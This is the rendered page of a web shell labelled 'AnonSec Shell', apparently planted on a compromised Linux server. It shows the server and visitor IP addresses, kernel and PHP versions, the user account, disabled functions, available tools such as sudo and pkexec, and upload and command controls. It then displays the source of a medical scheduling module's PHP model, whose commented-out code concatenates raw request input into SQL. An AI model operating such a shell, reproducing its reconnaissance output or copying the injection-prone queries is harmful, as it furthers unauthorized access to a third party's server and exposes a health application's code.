AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_med_scheduling/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_med_scheduling/models/SchedulingModel.php
<?php

include_once __DIR__ . "/../../../autoload/My_Model.php";
include_once __DIR__ . "/../factories/SchedulingFactory.php";

class SchedulingModel extends My_Model
{
    /**
     * @var string
     */
    public $table = 'module_med_scheduling';

    /**
     * @param array $data
     * @return bool|ORM
     */
    public function createScheduling($data)
    {
        $scheduling = self::create();
        SchedulingFactory::create($data, $scheduling, true);
        $scheduling->save();

        return $scheduling;
    }

    /**
     * @param array $data
     * @param ORM $scheduling
     * @return bool|ORM
     */
    public function updateScheduling($data, $scheduling)
    {
        ORM::for_table($this->table)->create($scheduling);
        SchedulingFactory::create($data, $scheduling);
        $scheduling->save();

        return $scheduling;
    }

    public function updateAttach($data, $scheduling)
    {
        if(isset($data['attach'])){
        $attachs= explode($data['attach'],',');
        foreach ($attachs as $t)
            $a=  ORM::for_table('module_med_scheduling_attach')->find_one($t);
            $a->module_med_scheduling_id=$scheduling;
            $a->save();
        }
    }
 

    public function updateProcedures($data, $scheduling) {
        try 
        {
            //remove os procedimentos deletados
            if(isset($data['procedure_delete']) && $data['procedure_delete'] != '')
            {
                // Removo as autorizações para procedimento deletado
                $data['procedure_delete'] = explode(',', $data['procedure_delete']);
                
                ORM::for_table('module_med_scheduling_authorization_procedures')
                    ->where_in('module_med_scheduling_procedures_id', $data['procedure_delete'])
                    ->delete_many();
                
                // Deleto as despesas relacionadas ao procedimento deletado
                ORM::for_table('module_med_scheduling_expenses')
                    ->where_in('scheduling_procedure_id', $data['procedure_delete'])
                    ->delete_many();
                
                // Deleto os procedimentos por último para evitar erro de chave estrangeira
                ORM::for_table('module_med_scheduling_procedures')
                    ->where_in('id', $data['procedure_delete'])
                    ->delete_many();
            }
            
            
            // Faço o cadastro ou edição dos procedimentos
            $procedure = $data['procedure_id'];
            $qty = $data['qty'];
            $valuePatient = $data['value_patient'];
            $valueAgreement = $data['value_agreement'];
            
            $discount = $data['discount'];
            $procedure_edit = isset($data['procedure_edit'])?$data['procedure_edit']:null;
            $scheduling_procedure_id_edit = isset($data['scheduling_procedure_id'])?$data['scheduling_procedure_id']:null;
            $scheduling_procedure_id = null;
            for ($i = 0; $i < count($procedure); $i++) 
            {
                if(isset($procedure_edit[$i]))
                {
                    $scheduling_procedure_id = $scheduling_procedure_id_edit[$i];
                    if($procedure_edit[$i] == 1)
                    {
                        $d = ORM::for_table('module_med_scheduling_procedures')->find_one($scheduling_procedure_id);
                        $d->module_med_scheduling_id = $scheduling->id;
                        $d->sys_items_id = $procedure[$i];
                        $d->qty = $qty[$i];
                        $d->discount =Finance::amount_fix( $discount[$i]);
                        $d->value_agreement = Finance::amount_fix($valueAgreement[$i]);
                        $d->value_patient = Finance::amount_fix($valuePatient[$i]);
                        $d->save();
                    }
                }
                else
                {
                    $d = ORM::for_table('module_med_scheduling_procedures')->create();
                    $d->module_med_scheduling_id = $scheduling->id;
                    $d->sys_items_id = $procedure[$i];
                    $d->qty = $qty[$i];
                    $d->discount =Finance::amount_fix( $discount[$i]);
                    $d->value_agreement = Finance::amount_fix($valueAgreement[$i]);
                    $d->value_patient = Finance::amount_fix($valuePatient[$i]);
                    $d->save();
                    $scheduling_procedure_id = $d->id;
                }
                
                
                // Deleto as despesas
                ORM::for_table('module_med_scheduling_expenses')
                        ->where('scheduling_procedure_id', $scheduling_procedure_id)->delete_many();

                // Insiro as despesas Extras
                if(isset($data['expense_id_'.$scheduling_procedure_id]))
                {

                    $expense = $data['expense_id_'.$scheduling_procedure_id];
                    $expense_qty = $data['expense_qty_'.$scheduling_procedure_id];
                    $expense_valuePatient = $data['expense_value_patient_'.$scheduling_procedure_id];
                    $expense_valueAgreement = $data['expense_value_agreement_'.$scheduling_procedure_id];
                    for ($j = 0; $j < count($expense); $j++) 
                    {
                        $d = ORM::for_table('module_med_scheduling_expenses')->create();
                            $d->module_med_scheduling_id = $scheduling->id;
                            $d->sys_items_id = $expense[$j];
                            $d->qty = $expense_qty[$j];
                            $d->procedure_id = $procedure[$i];
                            $d->value_agreement = Finance::amount_fix($expense_valueAgreement[$j]);
                            $d->value_patient = Finance::amount_fix($expense_valuePatient[$j]);
                            $d->scheduling_procedure_id = $scheduling_procedure_id;
                            $d->save();
                    }
                }
                else
                {
                    $expenses = ORM::for_table('module_med_procedures_expenses')->where('sys_item_procedure_id', $procedure[$i])->find_array();
                    foreach ($expenses as $expense)
                    {
                        $d = ORM::for_table('module_med_scheduling_expenses')->create();
                        $d->module_med_scheduling_id = $scheduling->id;
                        $d->sys_items_id = $expense['sys_item_expense_id'];
                        $d->qty = $expense['qty']*$qty[$i];
                        $d->procedure_id = $procedure[$i];
                        // Pego o valor da despesa de acordo com o convênio
                        $agreement_value = ORM::for_table('module_med_procedure_agreement')
                                            ->where('module_med_agreement_id', $scheduling->agreement_id)
                                            ->where('sys_item_id', $expense['sys_item_expense_id'])
                                            ->find_one();
                        $d->value_agreement = Finance::amount_fix($agreement_value['agreement_value']);
                        $d->value_patient = Finance::amount_fix($agreement_value['patient_value']);
                        $d->scheduling_procedure_id = $scheduling_procedure_id;
                        $d->save();
                    }
                }
            }
            return true;
        } catch (Exception $e) {
            die($e);
            return false;
        }
    }
    
    /**
     * @param ORM $scheduling
     * @return bool|ORM
     */
    public function deleteScheduling($scheduling)
    {
        if($scheduling->status == "Finished")
        {
            return false;
        }
        ORM::for_table($this->table)->create($scheduling);

        $now = new DateTime('now', new DateTimeZone('America/Sao_Paulo'));

        $scheduling->deleted_at = $now->format('Y-m-d H:i:s');
        $scheduling->save();

        return $scheduling;
    }

    /**
     * @param ORM $status
     * @return bool|ORM
     */
    public function getStatus($status)
    {
        if (isset($status)) {
            $bar_status = ORM::for_table('module_med_scheduling')
                ->where('status', $status)->where_null('deleted_at')->find_array();
            $count_status = count($bar_status);

            return $count_status;
        }

        return false;
    }

    /**
     * @param $date
     * @param $hour
     * @return bool|ORM
     */
//    public function verifyScheduling($post)
//    {
//        
//        $msg="";
//        $dayNumber = date('w', strtotime(_postDate['date']));
//         
//        if(!empty(_post['professional_id'])){
//            $verifyJournWork = ORM::for_table('module_hr_job_journey')
//                ->table_alias('s')
//                ->where("s.func", _post['professional_id'])
//                ->where("s.ind_dia", $dayNumber)
//                ->where_raw("((s.hr_ini_manha >='" ._post("hour_start"). "' and s.hr_fim_manha <='" ._post("hour_finish"). ")"
//                        . " OR "
//                        . "(s.hr_ini_tarde >='" ._post("hour_start"). "' and s.hr_fim_tarde <='" ._post("hour_finish"). "))")
//                ->find_array();
//            if(!$verifyJournWork){
//                $msg.="\n O professional não atende no horário informado";
//            }
//            
//          //  verificar aqui, os choque de horários para atendimento
//        }
//        //verificar horário de procedimentos, se são realizados no ho
//        $procedure =$_POST['id_procedure'];
//        foreach ($procedure as $p){
//            $verifyProcedure = ORM::for_table('module_med_procedure_allowed_schedules')
//                ->table_alias('s')
//                ->where("s.sys_item_id", $p)
//                ->where("s.ind_dia", $dayNumber)
//                ->where_raw("((s.hr_ini_manha >='" ._post("hour_start"). "' and s.hr_fim_manha <='" ._post("hour_finish"). ")"
//                        . " OR "
//                        . "(s.hr_ini_tarde >='" ._post("hour_start"). "' and s.hr_fim_tarde <='" ._post("hour_finish"). "))")
//                ->find_array();
//            if(!$verifyProcedure){
//                $procedure = ORM::for_table('sys_items')->find_one($p);
//                $msg.="\n O procedimento ".$procedure->name." não é realizado no horário informado";
//            }
//        }
//        
//     
//            $verifyDiary = ORM::for_table('module_med_diary_schedules')
//                ->table_alias('s')
//                ->where("s.diary_id", _post('diary_id'))
//                ->where("s.ind_dia", $dayNumber)
//                ->where_raw("((s.hr_ini_manha >='" ._post("hour_start"). "' and s.hr_fim_manha <='" ._post("hour_finish"). ")"
//                        . " OR "
//                        . "(s.hr_ini_tarde >='" ._post("hour_start"). "' and s.hr_fim_tarde <='" ._post("hour_finish"). "))")
//                ->find_array();
//            if(!$verifyDiary){
//                $msg.="\n A agenda não está disponível nesse horário";
//            }
//            
//        
//        
//        
//        $hour = $hour . ':00';
//        $data = ORM::for_table($this->table)
//            ->table_alias('s')
//            ->join('module_med_diary', array('diary.id', '=', 's.diary_id'), 'diary')
//            ->where_raw("date = '" . $date . "'")
//            ->where("s.diary_id", $diary)
//            ->find_array();
//
//        $count_scheduling = count($data);
//
//        if ($count_scheduling > 0) {
//
//            $i = null;
//
//            foreach ($data as $d) {
//
//                // INTERVALO DA CONSULTA
//                $interval = $d['interval'];
//
//                // HORA JÁ MARCADA
//                $h = $d['hour'];
//                $h = strtotime("$h");
//
//                // HORA MAIS INTERVALO
//                $hour_interval  = strtotime("$h + $interval minutes");
//
//                // HORA DA NOVA CONSULTA
//                $new_scheduling = strtotime("$hour");
//
//                if ($h >= $new_scheduling && $hour_interval <= $new_scheduling) {
//                    $i++;
//                    if ($i >= $d['simultaneous']) {
//                        return false;
//                    }
//                }
//
//            }
//        }
//
//        return true;
//    }
}

Anon7 - 2022
AnonSec Team